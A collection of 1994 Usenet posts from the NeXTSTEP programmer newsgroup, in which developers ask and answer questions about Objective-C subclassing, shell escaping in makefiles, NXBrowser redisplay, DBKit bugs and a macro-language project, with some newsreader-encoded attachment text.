From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: How to implement buttonWillClick: delegation? Date: 23 Mar 1994 21:24:42 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2mqc2q$jjb@rosie.next.com> References: <Cn24zG.FC@tms-gmbh.de> >Does anyone know of a good way to implement a "buttonWillChange:" method? >What I need is a method that is analogous to textWillChange: so that I >have the option to dissallow a change to the state of various sorts of >buttons (switches, pop-ups, etc). I don't want to subclass, if for no >other reason than I lose drag&drop from IB of the buttons. If I add >a category to control (or wherever would be the logical place), then >I would have to completely re-implement mouseDown:, right? God knows >what I would be breaking in the process of doing that... > First, to add a delegate, you need another instance variable. The only way to do this is through subclassing. It's not so horribly bad, though. Instead of dragging Buttons from the IB palette, you could drag CustomViews and set the class to your DelegatedButton. If you want the same look/feel while in IB, simply create a palette with the DelegatedButton and you'll have something that looks like the Button we all know and love (this takes zero lines of code, by the way). In your subclass, you should override Control's "-sendAction:to:" method, like so: #import <appkit/Button.h> @interface DelegatedButton : Button { id delegate; } - willSendAction:(SEL)theAction to:theTarget; @end @interface Object(ButtonDelegate) - button:sender willSendAction:(SEL)theAction to:theTarget; @end @implementation DelegatedButton : Button - willSendAction:(SEL)theAction to:theTarget /* * This method is a cover for the delegate method. If you're * wondering why it's here, think of every time you've created * a subclass and had to say [self setDelegate:self] to get * things to work! This makes that ugliness go away... */ { if(delegate) { if([delegate respondsTo:@selector(button:willSendAction:to:)]) { return [delegate button:self willSendAction:theAction to:theTarget]; } } return self; } - sendAction:(SEL)theAction to:theTarget /* * Call our internal cover for the delegate method. Allow * a subclass or our delegate prevent the action from * being sent. */ { if([self willSendAction:theAction to:theTarget]) { return [super sendAction:theActon to:theTarget]; } return self; } @end -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.next.software Subject: COWS Macro Language and NS Date: 23 Mar 1994 22:21:18 GMT Organization: Brigham Young University Message-ID: <2mqfcu$pd4@hamblin.math.byu.edu> Hi everybody. Many people have responded to my recent postings about a macro language for NeXTSTEP that I've decided to post a little FAQ about the current project. So I'm lazy... :-) What is COWS? COWS is a software suite in progress that ultimately should: Establish a common user "language" for controlling applications Establish a way for applications to control each other Make it possible for users to stitch many applications together COWS fundamentally is an interpreter object that lets users control applications through a simple programming language. Almost as important, COWS has a series of protocols describing how the COWS interpreter, or any similar interpreter, could communicate with other interpreters, with the application, and with function libraries. COWS comes with a fully- structured, Lisp-like language, though syntax can change without modifying protocols. Lastly, COWS comes with a test application to demonstrate what an embedded interpreter can do. The COWS Protocols Central to the COWS project is the development of protocols that could let any interpreter communicate with any other interpreter, let any interpreter be easily dropped into any application, and allow for public distribution of libraries to extend the power of an application. With these protocols in place, the COWS interpreter could be replaced with a far better one; implementation is not as significant as interface here. The COWS Interpreter The COWS interpreter is a small interpreter object designed to be dropped into any application and hooked up with relatively little pain for the programmer. The interpreter can run in a variety of modes and provides modest (but not good enough) security. The COWS Language COWS comes with a block-structured, event-driven, typeless, functional programming language that's a hybrid of Lisp and HyperTalk, with some Scheme and Obj-C thrown in. The language is designed to be easy to parse, relatively easy to learn, and VERY small ( to allow for a small interpreter). The COWS Libraries Alone, the interpreter can do barely anything at all. Actually doing _work_ is the job of COWS function libraries, which provide everything from arrays to printing to application control to interapplication communication. You can write your own libraries as a user. Applications write libraries to provide access to an application's API. And of course there are a number of standard libraries that come with COWS. The COWS Test Application The COWS package currently comes with a stupid little application whose function is to show off what the interpreter can and can't do, and test new interpreter features. A common mistake people make is confusing the COWS application with the COWS interpreter--the application is just a shell for the minute until we stick the interpreter in a real application! The COWS Project and OpenScript and tcl and HyperSense and... The COWS Project started with a posting I made about a language called "Crud" a month back. In the posting, I proposed a macro language and protocol format that would give users a common way of programmatically controlling applications. I've been the chief contributor so far, though about 5 other people are working on it, and there's a 50-man email list (send mail to sean@alpine.com). OpenScript is a breakoff of the COWS Project to discuss OS-wide macro language design for NeXTSTEP in general. There is a seperate email list for OpenScript. Both lists have a great deal of overlap (send mail to bpja@xedoc.com.au). COWS is not tcl. The COWS language is different, and for better or for worse, the COWS interpreter is written expressly for NeXTSTEP. Both COWS and various tcl implementations, along with HyperSense, Dylan, AppleScript, REXX and A/REXX, etc. are discussed in the OpenScript e-mail list. HyperSense and COWS overlap much, and many HyperSense users are on the COWS email list. We've had a great deal of excellent input from the developers of HyperSense as well, and are indebted to 'em. Current Projects I'm working on an inter-application control and communication library using distributed objects, which should make it a breeze for one application's COWS intepreter to control and send/receive messages with another application. This will move COWS from an intra-app macro interpreter to a full inter-app macro interpreter. A small group may soon be working on making nice IB palettes to make it brutally easy to integrate COWS into an app, and even allow any user to build a simple but powerful application with IB and COWS and not a drop of C code. Another group is working on a library/application to allow COWS-compliant apps to control _any_ other app, not just other COWS-compliant ones, through NXJournaling. This isn't nearly as nice as distributed objects control between interpreters, but absolutely necessary for the vast majority of interpreter-less applications out there. Where can I get COWS? COWS can be had in pub/nextinterpreter on alpine.com. The current version, 1.2, doesn't have inter-application capabilities (wait a few more days), and is rather rough in areas. So don't discount it by looks alone! Most of the goodies are buried deep within the application for the time being. How can I help out? COWS needs help in a number of areas. Whole function libraries are unwritten, the interpreter is fairly untested, and no optional interpreters have been written (with a different syntax, say). If you have experience in Obj-C development or macro programming and you'd like to see power put in the hands of users, drop me a line; we've got a lot of stuff available for everyone to do. What does COWS stand for? Nothing. It was the winner of the recent name-that-interpreter contest in the e-mail groups, and originally posed by a compatriot poking fun at my signature. +-------------------------------------------------------------+ | Sean Luke milk:-cows. | | sean@digaudio.byu.edu (if (cows) 'milk) | | if only I spoke for Alpine... [milk set:[cows val]]; |
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Odd shell problem Message-ID: <Cn53wx.174@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Wed, 23 Mar 1994 23:00:32 GMT Hello Netters, could one of the Shell-Gurus please help me out here: I need the combination 'backslash''new line' in a shell variable. First I tried was the sequence '\\\n' (a backslash to escape the second backslash, and a the escape sequence for the new line): $ echo "a\\\nb" a\nb $ Thats not, what I wanted... By playing arround, I found this to produce what I need: $ echo "a\\\\\nb" a\ b $ BUT: I don't understand it, and it doesn't work in the makefile, where I need it! Background: I try to produce a script for sed from within a makefile. sed expects the sequence in at the end of each line in a multiline text. HELP PLEASE... Gerd
Newsgroups: comp.sys.next.programmer From: thomas@netcom.com (Tom Thomas) Subject: Need to find Emacs assembler mode Message-ID: <thomasCn4rB3.7qH@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 23 Mar 1994 18:28:15 GMT I AM POSTING THE MESSAGE BELOW FOR A FRIEND. PLEASE REPLY TO: cousens@biztech.com I am looking for an Emacs assembler mode. I have actually found one from "Martin Neitzel -- neitzel@dbsinf6.bitnet", but it doesn't seem to do what I want. The mode I'm looking for insert TABS and indents lines according to the contents of what has been typed onto the line so far. For example, if the line contains "LABEL: #NN,d7 ; initialize data ptr", the line should move LABEL to the first column, insert a tab following the colon and insert a tab preceeding the ";". Any suggestions on where to look? Also, does anyone have a handle on linking assembler modules (.O's not .LOD's) with C and or Objective-C? Thanks, Rik Cousens (cousens@biztech.com).
Newsgroups: comp.sys.next.programmer From: cuilla@il.us.swissbank.com (Chris Cuilla) Subject: Re: Should events be objects? Message-ID: <1994Mar22.193355.10610@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2mc9af$12a@gpo.gb.swissbank.com> Date: Tue, 22 Mar 1994 19:33:55 GMT Dave Griffiths writes > Can anyone think of any great advantages to making events into objects > rather than structures? Events are pretty passive, they get acted _upon_ > rather than doing things themselves, and the main methods they'd respond > to would be to report their type, position, etc, so maybe there's no > real point to having them as objects. > > It's just that... they _feel_ as though they should be objects. > > It would be easier to add new user-defined events. Copying and freeing > would be easier. And rather than have Application de-multiplex events, > you could just have one event entry point in Responder and send the > event a "perform" message. Then the event could send a message back to > you. Sort of like: > [...some stuff deleted...] I really think that any structure which is that complex, and that frequently used, or any structure that has a plethora of functions to operate on it ought to a strong candidate for being an object (i.e. NXRect, NXColor, NXevent). Some "cycle-mongers" (as I like to call them) who are concerned with saving cycles will argue that this is considerably less efficient than using functions. Obj-C message calls are 1.5-2.0X a function call. My argument would be that, 5-8 years ago when we weren't seeing 80Mhz PowerPC machines, et al, that sort of performance/efficiency consideration would have mattered. However...today...less so. I would also argue that optimizing API is also a consideration. By this I mean, providing consitent API & operations for all things in the OS. jumping back and forth between functions/structure style when using NXRect, NXEvent, NXColor, etc. and using Obj-C object/messaging style for other things is terribly inconsistent. I'm confident that I could further with this argument. But don't have the time right now. Basically, everything ought to be an object. Much cleaner from a programming perspective. Machines are getting faster, cheaper, more memory all the time. Optimize the expensive resource...time...developer/designer time. -- Chris Cuilla --------------------------------------------------------------------- NEXTSTEP Developer chris@its.com ---------------------------------------------------------------------
Newsgroups: comp.unix.programmer,comp.os.msdos.programmer,comp.sys.next.programmer From: shahid@netcom.com (Shahid Ahmeb) Subject: Need algorithm to convert a given date&time in seconds to String format Message-ID: <shahidCn55tr.BzF@netcom.com> Followup-To: poster Keywords: datetime Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 23 Mar 1994 23:41:48 GMT Hi, I recv date&time in seconds from different sources(platforms) with different base year which i need to store in the database in a uniform format. What i need is some generic algorithm with parameters of baseYear and datetime in seconds, it should convert it into yy/mm/dd hh:mm:ss Any help will be greatly appreciated. If possible please mail it to shahid@cmr.com cheers, shahid
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <rochelle@pdh.com> From: rochelle@pdh.com (Rochelle Raccah) Message-ID: <9403232016.AA15562@snowbird.pdh.com> Date: Wed, 23 Mar 94 12:16:32 -0800 Subject: Re: DBKit bugs under 3.2 Cc: developers@pdh.com Has anyone run into either of these apparent DBKit 3.2 bugs? Neither of these problems occur when running a 3.0 application on a 3.0 machine, but do occur running the same application on a 3.2 machine using the same database. (They also occur running a 3.2 app on a 3.2 machine.) Therefore, we can only attribute it to the new DBKit. 1. A browser which associates multiple database rows to the UI now saves multiple rows, but it only fetches and displays one row. 2. Any place we try to delete, we can do so if there are multiple rows to choose from, but when there is only one row, the row is not really deleted. The method being used is [module deleteRecord]. This returns self implying that it has successfully deleted and when I ask for the count of the recordList, it is zero. But on the next fetch, the record is still there. Please let me know if you have any information about either of these. Thank you, Rochelle Raccah --- Rochelle Raccah email: rochelle@pdh.com (NeXTMail OK) PDH Inc. 2635 N. First St. Ste 224, San Jose, CA 95128 phone: (408) 428 - 9596 fax: (408) 428 - 9599
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Page up/down In-Reply-To: schmo1@info.isbiel.ch's message of 23 Mar 1994 16:15:59 GMT To: schmo1@info.isbiel.ch (Olivier Schmid) Message-ID: <CEDMAN.94Mar23212753@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2mppvv$p4r@vega.info.isbiel.ch> Date: Thu, 24 Mar 1994 02:27:52 GMT In article <2mppvv$p4r@vega.info.isbiel.ch> schmo1@info.isbiel.ch (Olivier Schmid) writes: Is there a possibility to have a page up/down (home/end) function in Edit ? That would help me much in programming ! (or is there an alternative editor ?) Sure. There is Emacs 19 for NS, which went into beta test a few days ago and should be made public in a couple weeks. It allows you to rebind any key, including the function keys and the page up/down keys to do whatever you want. Carl Edman
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Using CVS from ProjectBuilder Date: 24 Mar 1994 08:23:14 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2mrili$so9@darkstar.UCSC.EDU> References: <2more9$c6v@darkstar.UCSC.EDU> In article <2more9$c6v@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > But I'm no CVS expert. I need someone familiar with CVS to bang on > this a while before I release it for everyone's use (and enjoyment?). So > if you currently use CVS and would be willing to spend a little time > looking at what I've put together, please let me know and I'll send you > the latest cvs.postamble. > Thanks for your assistance. Thanks for all the response!! I did have a couple of bounced attempts at mailing cvs.postamble: 451 <mspboss!radical!mgm@uunet.uu.net>... reply: read error from relay2.uu.net. 501 <Roberto.Dicosmo@ens.fr>... 550 Host unknown (Name server: ens.fr: no data known) So if these folks would like to send me the correct email address to use, I'll try again. In my haste to send out all the requests, I just used the Reply button, so if your email header's got problems, maybe that's the reason for the bounce. While multiprocessing mail, I may have inadvertently deleted the first request I received :-( So if you haven't received a cvs.postamble and you sent me email either last night or by around 8:00 AM PST, you might try me one more time and I promise not to try to read 2 messages at once :-) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein) Newsgroups: comp.sys.next.programmer Subject: S: compilation of available Palettes Date: 23 Mar 1994 15:33:58 GMT Organization: WHU Koblenz Message-ID: <2mpnh6$haf@obelix.WHU-Koblenz.de> Hello, Does anybody know, if there is a up-to-date compilation of all available Palettes (both public domain and commercial)? I'm aware of the ObjectWare catalog from NeXT, but this dates Spring 1993. Thank you for any hints! -- Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173 Wolfgang Roeckelein Fax: +49 261 6509 179 WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de Burgplatz 2 (NeXTmail ok) D-56179 Vallendar Germany
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: libc.a library? Message-ID: <1994Mar23.171353.170895@eros.embl-heidelberg.de> From: grindrod@eagle.NMR.EMBL-Heidelberg.DE (David Grindrod) Date: 23 Mar 94 17:13:52 +0100 Distribution: world Organization: European Molecular Biology Laboratory Does anyone have a compiled version of libc.a for NeXTSTEP version 3.1. I know it used to be available with older versions. I can not seems to get the GNU version to compile. Thanks Dave -------------------------------------------------------------------- David Grindrod NMR System Manager EMBL, Heidelberg. Email: grindrod@EMBL-Heidelberg.DE
Newsgroups: comp.sys.next.programmer From: Jeff_DeVries@Taligent.com (Jeff de Vries) Subject: PPP client for NeXTSTEP/Intel ??? Message-ID: <Jeff_DeVries-230394153505@jeff-devries.taligent.com> Followup-To: comp.sys.next.programmer Sender: usenet@taligent.com (More Bytes Than You Can Read) Organization: Taligent Distribution: na Date: Wed, 23 Mar 1994 23:35:05 GMT Is there PPP client/server software available for NeXTSTEP/Intel ??? Thanks, Jeff
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Odd shell problem Message-ID: <Cn5MsB.9r@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <Cn53wx.174@tms-gmbh.de> Date: Thu, 24 Mar 1994 05:48:10 GMT To make things even more dubious (all in sh): $ echo "a\\\nb" a\nb $ echo "a\\\\\nb" a\ b $ echo 'a\\\nb' a\ b $ echo "a\0134\012b" a\ b But at least I found out, why it did not work in my makefile: Analog to the NeXT makefiles, I did not use 'echo' direct, but instead $(ECHO), which stands for '/bin/echo'. EVERY of the above methods produces different output, when you use '/bin/echo' instead of 'echo'. Grrrr... Gerd In article <Cn53wx.174@tms-gmbh.de> gerti@tms-gmbh.de (Gerd Knops) writes: > Hello Netters, > > could one of the Shell-Gurus please help me out here: I need the > combination 'backslash''new line' in a shell variable. First I tried was > the sequence '\\\n' (a backslash to escape the second backslash, and a the > escape sequence for the new line): > > $ echo "a\\\nb" > a\nb > $ > > Thats not, what I wanted... > > By playing arround, I found this to produce what I need: > > $ echo "a\\\\\nb" > a\ > b > $ > > BUT: I don't understand it, and it doesn't work in the makefile, where I > need it! Background: I try to produce a script for sed from within a > makefile. sed expects the sequence in at the end of each line in a > multiline text. > > HELP PLEASE... > > Gerd
From: mike@linnea-grind.stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2mrqgd$922@news.kth.se> Control: cancel <2mrqgd$922@news.kth.se> Date: 24 Mar 1994 10:50:26 GMT Organization: Royal Institute of Technology, Stockholm, Sweden Distribution: world Message-ID: <2mrr9i$95h@news.kth.se> References: <2mrqgd$922@news.kth.se> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit <2mrqgd$922@news.kth.se> was cancelled from within trn. -- Mike Henry INET : mike@stacken.kth.se /// Tomtebog. 30 /// S-113 38 Stockholm \\\/// SWEDEN TEL : +46 8 34 84 49 \XX/
Newsgroups: comp.sys.next.programmer From: eddie@xexos.com (Eddie Chan) Subject: cell selection highlight do NOT work in colour Message-ID: <1994Mar20.120425.17695@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) Date: Sun, 20 Mar 1994 12:04:25 GMT Hi all, It appears that textFieldCell (or cell is general) selection do not show up if the foreground & background colour is not B&W. A normal textFieldCell is black on white with selection highlight as black on gray. On a colour NeXT with both fore/background set to non-B&W when a cell is highlighted there is no change to the colour at all? Is this bug in the NeXTStep? Is there any workaround for it? thanks in advance eddie
Newsgroups: comp.sys.next.programmer From: eddie@xexos.com (Eddie Chan) Subject: matrix show up differently on Intel NeXTStep Message-ID: <1994Mar20.120845.17753@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) Date: Sun, 20 Mar 1994 12:08:45 GMT Hi. All, I've a matrix of cells in a scrollview. I've compiled it for FAT binaries and run it on a black box and a PC. the matrixView displayed as expected, but the NeXTStep for Intel do NOT show the gray separation line between the cells in the matrix. This look like a bug on the Intel version of NeXTStep. Anybody got any comment about this? Anybody got a workaround for this problem? thanks in advance eddie
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Re: NXBrowser / adding items Date: 24 Mar 1994 15:04:54 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2msa6m$rsh@transfer.stratus.com> References: <2mpuih$qmu@transfer.stratus.com> In article <2mpuih$qmu@transfer.stratus.com> hship@sinistar (Howard Ship) writes: > I'm trying to dynamically update a NXBrowser. When I add a file, I want > to create a new NXBrowserCell, set it up and tell the browser to > redisplay. > > Things work, except the browser refuses to redisplay, until I change the > size of my window ... only then do my values appear. > For anyone else stumbling on this problem ... After modifying the matrix of the columns, send the matrix a sizeToCells message. This changes the frame of the matrix, which is what the browser seems to use to determine how to draw it. Then send the browser the displayColumn: message and voila! everything shows up exactly as desired! -- HAIR TONICS, please!! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK]
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: OpenPanel with regular expression filter for filenames? Date: 24 Mar 1994 18:21:44 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2mslno$hki@agate.berkeley.edu> Is there a subclass (category) of OpenPanel that takes a regular expression for filtering filenames, instead of file types (extensions) that one passes to method -runModalForDirectory:file:types: ? -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Drawing Bitmaps Date: 24 Mar 1994 16:54:46 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2msgkm$krf@rosie.next.com> References: <1994Mar23.165346.2872@sifon.cc.mcgill.ca> In article <1994Mar23.165346.2872@sifon.cc.mcgill.ca> Ivo ROTHSCHILD writes: > I've been trying to draw bitmaps into a view and getting very bad > performance. I am using an NXBitmapImageRep object which holds RGB > planar data. I have an NXImage which holds the rep. Planar RGB data is almost always going to be slow as the framebuffers are not planar. Try meshed data. You will also get the fastest performance when your image format matches of your window. (For instance, if your window depth limit is 12 bit, you might try 12 bit RGB data.) > ... When I change the > bitmap data I call -recache or - useRepresentation in the image and then > composite the image into my view. Unless you need NXImage's caching, or you want to be compositing portions of the image, you don't need to use an NXImage at all. Just lockFocus and ask your NXBitmapImageRep to draw. If you are going to draw the same image multiple times, then you might need to cache it in an NXImage. Also, recache is probably the correct thing to do; useRepresentation: will add a new rep to the NXImage everytime it's called. Ali, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: NXBrowser / adding items Message-ID: <1994Mar24.231018.29951@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2mpuih$qmu@transfer.stratus.com> Date: Thu, 24 Mar 1994 23:10:18 GMT In article <2mpuih$qmu@transfer.stratus.com> hship@sinistar (Howard Ship) writes: > I'm trying to dynamically update a NXBrowser. When I add a file, I want > to create a new NXBrowserCell, set it up and tell the browser to > redisplay. > > Things work, except the browser refuses to redisplay, until I change the > size of my window ... only then do my values appear. > > Obviously, I'm missing something here with the NXBrowser class, but I'm > not sure what, and I've been unable to find a real example to model after. > > Here's a segment of the code ... > > - addFilename: (const char *) file > { > int i; > const char *file; > id matrix; > int cellCount; > id cell; > > matrix = [browser matrixInColumn: 0]; > cellCount = [matrix cellCount]; > > [matrix addRow]; > cell = [matrix cellAt: cellCount : 0]; > > [cell setStringValue: file]; > [cell setLeaf: YES]; > [cell setLoaded: YES]; > > [browser displayColumn: 0]; > > return self; > > } Howard, how about adding: [browser display]; [[browser window] display]; NXPing(); Give that a try....maybe what's happening is that the browser knows that it has a new cell, but doesn't tell the window that it's contents have been changed. Those three lines should make "anything" display. You should be sure that displayColumn: doesn't call one of the Browser delegate methods like browser:fillMatrix:inColumn: because if it does, you've just lost your work (never mind...just looked the method up...ignore the last line). Try my suggestion out; see what happens (if anything). Rik -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!5=&]P:6$M4F5G=6QA<CM< M9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R M9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT M>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5< M9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@/#)M<'5I:"1Q;75`=')A;G-F97(N M<W1R871U<RYC;VT^(&AS:&EP0'-I;FES=&%R("A(;W=A<F0@4VAI<"D@=W)I M=&5S.EP*/B!))VT@=')Y:6YG('1O(&1Y;F%M:6-A;&QY('5P9&%T92!A($Y8 M0G)O=W-E<BX@(%=H96X@22!A9&0@82!F:6QE+"!)('=A;G0@(%P*/B!T;R!C M<F5A=&4@82!N97<@3EA"<F]W<V5R0V5L;"P@<V5T(&ET('5P(&%N9"!T96QL M('1H92!B<F]W<V5R('1O("!<"CX@<F5D:7-P;&%Y+EP*/B!<"CX@5&AI;F=S M('=O<FLL(&5X8V5P="!T:&4@8G)O=W-E<B!R969U<V5S('1O(')E9&ES<&QA M>2P@=6YT:6P@22!C:&%N9V4@=&AE("!<"CX@<VEZ92!O9B!M>2!W:6YD;W<@ M+BXN(&]N;'D@=&AE;B!D;R!M>2!V86QU97,@87!P96%R+EP*/B!<"CX@3V)V M:6]U<VQY+"!))VT@;6ES<VEN9R!S;VUE=&AI;F<@:&5R92!W:71H('1H92!. M6$)R;W=S97(@8VQA<W,L(&)U="!))VT@(%P*/B!N;W0@<W5R92!W:&%T+"!A M;F0@22=V92!B965N('5N86)L92!T;R!F:6YD(&$@<F5A;"!E>&%M<&QE('1O M(&UO9&5L(&%F=&5R+EP*/B!<"CX@2&5R92=S(&$@<V5G;65N="!O9B!T:&4@ M8V]D92`N+BY<"CX@7`H^("T@861D1FEL96YA;64Z("AC;VYS="!C:&%R("HI M(&9I;&5<"CX@7'M<"CX@("!I;G0@:3M<"CX@("!C;VYS="!C:&%R("IF:6QE M.UP*/B`@(&ED(&UA=')I>#M<"CX@("!I;G0@8V5L;$-O=6YT.UP*/B`@(&ED M(&-E;&P[7`H^("`@7`H^("`@;6%T<FEX(#T@6V)R;W=S97(@;6%T<FEX26Y# M;VQU;6XZ(#!=.UP*/B`@(&-E;&Q#;W5N="`](%MM871R:7@@8V5L;$-O=6YT M73L@7`H^("`@7`H^("`@6VUA=')I>"!A9&12;W==.UP*/B`@(&-E;&P@/2!; M;6%T<FEX(&-E;&Q!=#H@8V5L;$-O=6YT(#H@,%T[7`H^("`@7`H^("`@6V-E M;&P@<V5T4W1R:6YG5F%L=64Z(&9I;&5=.UP*/B`@(%MC96QL('-E=$QE868Z M(%E%4UT[7`H^("`@6V-E;&P@<V5T3&]A9&5D.B!915-=.UP*/B!<"CX@("!; M8G)O=W-E<B!D:7-P;&%Y0V]L=6UN.B`P73M<"CX@("!<"CX@("!R971U<FX@ M<V5L9CM<"CX@("`@7`H^(%Q]("`@(%P*2&]W87)D+%P*"6AO=R!A8F]U="!A M9&1I;F<Z7`H)6V)R;W=S97(@9&ES<&QA>5T[7`H)6UMB<F]W<V5R('=I;F1O M=UT@9&ES<&QA>5T[7`H)3EA0:6YG*"D[7`I<"D=I=F4@=&AA="!A('1R>2XN M+BYM87EB92!W:&%T)W,@:&%P<&5N:6YG(&ES('1H870@=&AE(&)R;W=S97(@ M:VYO=W,@=&AA="!I="!H87,@82!N97<@8V5L;"P@8G5T(&1O97-N)W0@=&5L M;"!T:&4@=VEN9&]W('1H870@:70G<R!C;VYT96YT<R!H879E(&)E96X@8VAA M;F=E9"X@(%1H;W-E('1H<F5E(&QI;F5S('-H;W5L9"!M86ME(")A;GET:&EN M9R(@9&ES<&QA>2X@(%EO=2!S:&]U;&0@8F4@<W5R92!T:&%T(`I<8B!D:7-P M;&%Y0V]L=6UN.B`*7&(P(&1O97-N)W0@8V%L;"!O;F4@;V8@=&AE($)R;W=S M97(@9&5L96=A=&4@;65T:&]D<R!L:6ME(`I<8B!B<F]W<V5R.F9I;&Q-871R M:7@Z:6Y#;VQU;6XZ"EQB,"`@8F5C875S92!I9B!I="!D;V5S+"!Y;W4G=F4@ M:G5S="!L;W-T('EO=7(@=V]R:R`H;F5V97(@;6EN9"XN+FIU<W0@;&]O:V5D M('1H92!M971H;V0@=7`N+BYI9VYO<F4@=&AE(&QA<W0@;&EN92DN7`I<"E1R M>2!M>2!S=6=G97-T:6]N(&]U=#L@<V5E('=H870@:&%P<&5N<R`H:68@86YY 0=&AI;F<I+EP*4FEK(`I]"F]U `
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: Spoiled by PB or just Dumb Message-ID: <1994Mar24.232137.134@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2mk6js$q3q@aplcomm.jhuapl.edu> Date: Thu, 24 Mar 1994 23:21:37 GMT In article <2mk6js$q3q@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > > I think I have been spoiled by Project Builder because I cannot get very simple > program to compile due to all sorts of conflicts. Please have a look and tell > me why I am such a complete idiot. > > main program in main.m > > #import <stdio.h> > #import "Intergrate.h" > #import "Constant.h" > #import "Multiply.h" > > void main() > { > id block1, block2, block3, block4; > > block1 = [[Constant alloc] initWith:-1.0]; > block2 = [[Multiply alloc] init]; > block3 = [[Intergrate alloc] initWith:block2 :1.0]; > block4 = [[Intergrate alloc] initWith:block3 :1.0]; > > // program munched > } > > > A few of the headers > > Multiply.h > > @interface Multiply:Block > { > } > - initWith:input1 :input2; > - process; > @end > > Intergrate.h > > @interface Intergrate:Block > { > } > - initWith:input1 :(float)initValue; > - initWith:(float)initvalue; > - process; > @end > > Constant.h > > @interface Constant:Block > { > } > - initWith:(float)initValue; > - process; > > @end > > The errors > > main.m: In function `main': > main.m:17: warning: multiple declarations for method `initWith::' > Multiply.h:6: warning: using `-initWith:input1 :input2' > Intergrate.h:6: warning: also found `-initWith:input1 :(float)initValue' > main.m:17: incompatible type for argument 2 of `initWith::' > main.m:18: warning: multiple declarations for method `initWith::' > Multiply.h:6: warning: using `-initWith:input1 :input2' > Intergrate.h:6: warning: also found `-initWith:input1 :(float)initValue' > main.m:18: incompatible type for argument 2 of `initWith::' > *** Exit 1 > Stop. > > Compiled as > cc -o Slice main.o Multiply.o Intergrate.o Divide.o Constant.o Block.o > -LNeXT_s > > There are no warning or errors for any of the other modules. And if I replace > initWith with init everything compiles just fine. I know that I could just add > another method to get everything to work, but I would like to know what I am > doing wrong. > > It seems that the compiler doesn't see the definitions in the headers and thinks > that main is declaring - initWith::, or that the alloc are not being associated > with their appropriate class. PLEASE somebody anybody tell me what I am doing > wrong, this is driving me bonkers. > > -- jds > > --------------------------------------------------------------------- ---------- > Otto "Apes don't read philoshpy" disclaimer > Wanda "Sure they do, they just don't understand it" > --------------------------------------------------------------------- ---------- John, you can either do as Dave Griffiths says, and redefine your method names, or do the following: block1 = [(Constant *) [Constant alloc] initWith:-1.0]; block2 = [(Multiply *) [Multiply alloc] init]; block3 = [(Intergrate *) [Intergrate alloc] initWith:block2 :1.0]; block4 = [(Intergrate *) [Intergrate alloc] initWith:block3 :1.0]; which effectively casts the result of the alloc into the "kind of thing" you want to "initWith:". Rik -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA 